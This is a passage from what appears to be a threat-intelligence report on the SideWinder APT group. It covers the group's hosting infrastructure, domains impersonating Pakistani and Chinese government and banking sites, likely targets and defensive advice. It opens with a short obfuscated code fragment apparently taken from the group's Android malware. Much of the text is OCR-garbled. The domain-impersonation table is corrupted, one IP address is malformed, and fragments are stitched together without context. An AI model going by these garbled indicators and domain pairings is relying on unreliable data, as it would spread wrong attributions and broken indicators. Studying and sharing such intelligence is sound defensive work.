“/|data/data/<package_name=/files/fex/permFex/8496eac3cc33769687848de8fa6384c3”:

private File j9ebdbSbe() {
Logger.E(new String[]{"gadf"}); >
return new File(new File(new File(this.getFilesDir().getPath(), this.util.db64("WmiWNA==")), this.util.db64("YedWelIVimxIQTE2")),
this.util.MD5("permFex"));
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Hosting infrastructure

This graph shows the distribution of malicious domains by hosting service provider, for providers
known to be used by SideWinder.
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SideWinder often registers domains whose URL addresses mimic various organizations in Pakistan
and China. In June 2022, Group-IB specialists published a blog post (SideWinder.AntiBot.Script) in
which they described the group’s resources whose URLs mimic Pakistani organizations. It is worth
noting that website contents are sometimes drastically different from what the name suggests.

Who are SideWinder’s potential targets?

The domains discovered by Bridewell and Group-IB specialists suggest that SideWinder could have
planned attacks against financial and government organizations, as well as companies specialized in

e-commerce and mass media in Pakistan and China.

Domain impersonation Legitimate domain
Banking sbp.org.pk

Government

indhpolice- k{. indhpolice. .pk
organizations sindhpolice-govpk[.Jorg sindhpolice.gov.p

punjabpolice-gov-pk.fia-

sollea punjabpolice.gov.pk

fia-gov[.Jcom fia.gov.pk

mofs-gov[.Jorg mofa.gov.org

naf_~AvH That nafAaAvnl

Conclusion
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SideWinder is among the most active and prolific threat actors out there. According to Group-IB,
between June and November 2021 the group may have targeted as many as 61 organizations in
Asia.

While investigating the threat actors, Group-IB’s and Bridewell’s threat intelligence specialists
identified and attributed a large part of the group’s infrastructure, namely 55 domains and IP
addresses. In addition, our analysis revealed phishing domains imitating news, finance, media,
government, and telecommunications companies.

A close look at the infrastructure used by any group will almost always help with writing hunting
rules that can be then used to learn about that group’s attacks in the making and respond to them
preemptively. The network indicators provided in this blog post can be used to protect against
SideWinder proactively and to search for new infrastructure used by the group.

Like many other APT groups, SideWinder relies on targeted spear phishing as the initial vector. It is
therefore important for organizations to deploy business email protection solutions that detonate
malicious content.

To enrich indicators of compromise and stay up to date with relevant threats, it is more effective to
use threat intelligence solutions.

If your company’s specialists analyze the activity of this or any other APT group, we would be
happy to conduct a joint analysis and publish it on our blog.

#FightAgainstCybercrime
#WeStopAttackers

Strengthen your security posture with
Group-IB Threat Intelligence

Use unique threat intelligence data to prevent attacks
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SideWinder.AntiBot.Script. APT SideWinder's new tool that narrows their reach to Pakistan

Old Snake, New Skin: Analysis of SideWinder APT activity between June and November 2021

SimpleHarm: Tracking MuddyWater’s infrastructure
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pk.downld[.]Jnet
185.205.187234 paknavy-gov-pk.downld.net
downld[.]Jnet
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Share this article

Found it interesting? Don't hesitate to share it to wow your friends or colleagues
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